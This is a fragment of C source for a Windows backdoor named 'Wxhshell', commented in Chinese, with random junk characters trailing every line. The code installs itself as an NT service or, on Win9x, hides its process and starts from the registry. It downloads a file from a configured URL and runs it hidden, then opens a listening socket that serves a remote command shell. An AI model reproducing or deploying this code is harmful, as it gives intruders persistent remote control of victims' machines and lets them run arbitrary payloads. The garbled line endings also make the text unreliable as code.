} PROCESS_BASIC_INFORMATION; 7eW6$$ju,N
5=b6B=\*~
PROCNTQSIP NtQueryInformationProcess; h+S]C#X,}
0U !&|i\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GiKhdy
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \odns
_w2KUvG-8
HANDLE hProcess; 1kD1$5
PROCESS_BASIC_INFORMATION pbi; pktnX-Slt
N36B*9m&p
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u>:j$@56
if(NULL == hInst ) return 0; +O)ZB$w4
a5&[O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A-*MH#QUKh
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WO6+r?0M2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b;nqhO[f}
bP,Ka
if (!NtQueryInformationProcess) return 0; D&pp
<
sXtt$HID=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "'XYW\bI
if(!hProcess) return 0; Hz=s)6$ey
*?VB/yO=0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~6+Um_A_L
c:+UC
CloseHandle(hProcess); H%Z;Yt8^gt
-:~z,F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hLVgP&/E
if(hProcess==NULL) return 0; shO4>Ha
D[6wMep^n
HMODULE hMod; 1~j,A[&|<
char procName[255]; 0#ON}l)>
unsigned long cbNeeded; J(A+mYr{:
KFy|,@NI
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PZ#aq~>w
>U?#'e{qW
CloseHandle(hProcess); !)}D_9{
@1U6sQ
if(strstr(procName,"services")) return 1; // 以服务启动 [z6P]eC7
:Zo^Uc:*w
return 0; // 注册表启动 b<[]z,
} eR/X9<
{Z1-B60P
// 主模块 %d<UMbS^
int StartWxhshell(LPSTR lpCmdLine) LR'~:46#u
{ ,Ek6X)|@
SOCKET wsl; 19RbIG/X
BOOL val=TRUE; b@sq}8YD|z
int port=0; C%j@s|
struct sockaddr_in door; ad52a3deR
OL^DuoB4q
if(wscfg.ws_autoins) Install(); c8HETs1
wUfPnAD.'
port=atoi(lpCmdLine); E^m)&.+'M
/<dl"PWkJv
if(port<=0) port=wscfg.ws_port; C;#gy-
P7REE_<1
WSADATA data; }=.C~f]A
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ca,c+5
;yCtk ~T%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6zi
Mf
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zu>CR_C
door.sin_family = AF_INET; v[R_6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jpOcug`f
door.sin_port = htons(port); $$*0bRfd4=
|!1iLWQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \`%#SmQF
closesocket(wsl); 4VkJtu5
return 1; lE*.9T
} Ih;D-^RQ
KXUJ*l-5
if(listen(wsl,2) == INVALID_SOCKET) { ju4wU;Nu
closesocket(wsl); ~q}]/0-m
return 1; 75A60Uw
} pK'D(t
Wxhshell(wsl); Ye^xV,U@
WSACleanup(); Q8h=2YL
9WHarv2 @
return 0; ]eX(K5 A
rP/W,!
7:K
} &ha<pj~
T( k:\z/
// 以NT服务方式启动 L Z3=K`gj
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I;9DG8C&v*
{ JD AX^]
DWORD status = 0; KqNsCT+j
DWORD specificError = 0xfffffff; f917F.1I
k9c`[M
serviceStatus.dwServiceType = SERVICE_WIN32; Z'm( M[2K
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |>-0q~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zOJzQZ~
serviceStatus.dwWin32ExitCode = 0; W#wC
serviceStatus.dwServiceSpecificExitCode = 0; @v.?z2h
serviceStatus.dwCheckPoint = 0; Bu{%mm(
serviceStatus.dwWaitHint = 0; RhE|0N=
u
N_< G
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lo"s12fr
if (hServiceStatusHandle==0) return; .e}`n)z
6c}nP[6|
status = GetLastError(); SL<EZn0F9
if (status!=NO_ERROR) .tK]-f2
{ SK_N|X].
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0,iG9D7
serviceStatus.dwCheckPoint = 0; ?:F Jc[J
serviceStatus.dwWaitHint = 0; Kn2W{* wD
serviceStatus.dwWin32ExitCode = status; _cJ\A0h^
serviceStatus.dwServiceSpecificExitCode = specificError; x7xQrjE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C.se/\PE
return; mk6>}z*
} <u
D@k#'KU
serviceStatus.dwCurrentState = SERVICE_RUNNING; '2{60t_A
serviceStatus.dwCheckPoint = 0; ntZHO}'
serviceStatus.dwWaitHint = 0; a!PN`N28
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); } OkK@8?0O
} ,ZnL38GW
lnV!Xuf
// 处理NT服务事件,比如:启动、停止 cQ0+kX<
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tcq@Q$H
{ SWNT}{x]
switch(fdwControl) lW]&a"1$
{ ZZ>(o
d!B
case SERVICE_CONTROL_STOP: u#3Cst8Y
serviceStatus.dwWin32ExitCode = 0; vQ{mEaH
serviceStatus.dwCurrentState = SERVICE_STOPPED; )xTu|V
serviceStatus.dwCheckPoint = 0; 5L\Im^
serviceStatus.dwWaitHint = 0; @X_)%Y-^O
{ e^hI[LbNC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I3Ad+]v
} p
>nKNd_aQ
return; }w)wW1&
case SERVICE_CONTROL_PAUSE: 6O'Y@9#
serviceStatus.dwCurrentState = SERVICE_PAUSED; }jg,[jw_"X
break; >E>'9@Uh
case SERVICE_CONTROL_CONTINUE: qi8~bQ{rH
serviceStatus.dwCurrentState = SERVICE_RUNNING; f^[m~
break; {65_k
case SERVICE_CONTROL_INTERROGATE: YO;@Tj2)x
break; gyCXv0*z
}; `,FhCT5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ''.\DC~K
} QVD^p;b
%O>_$
4q
// 标准应用程序主函数 Q?dzro4C
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~VPE9D@
{ `L.nj6F
Sqla+L*
// 获取操作系统版本 {%X[Snv
OsIsNt=GetOsVer(); M|7{ZE`Y
GetModuleFileName(NULL,ExeFile,MAX_PATH); OL623jQX
O{=@c96rl
// 从命令行安装 XZ|\|(6Cc
if(strpbrk(lpCmdLine,"iI")) Install(); {.r9l
\Pd>$Q
// 下载执行文件 H7Pw>Ta ;
if(wscfg.ws_downexe) { Wk]E6yz6
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /? Bu^KX
WinExec(wscfg.ws_filenam,SW_HIDE); A&Cs
(e
} <@qJsRbhK
gq+#=!(2
if(!OsIsNt) { 1xU)nXXb
// 如果时win9x,隐藏进程并且设置为注册表启动 wgZ6|)!0
HideProc(); <ceJ!"L
StartWxhshell(lpCmdLine); WhDNt+uk)
} A)kdY!}
else tU>4?`)E
if(StartFromService()) 9NqZ&S
// 以服务方式启动 p1,.f&(f
StartServiceCtrlDispatcher(DispatchTable); Ewo6Q){X
else D*)"?LG
// 普通方式启动 6,skF^
StartWxhshell(lpCmdLine); QQUZneIDp
2%j"E{J&
return 0; h ?+vH{}j
} BNbz{tbX"
2O0<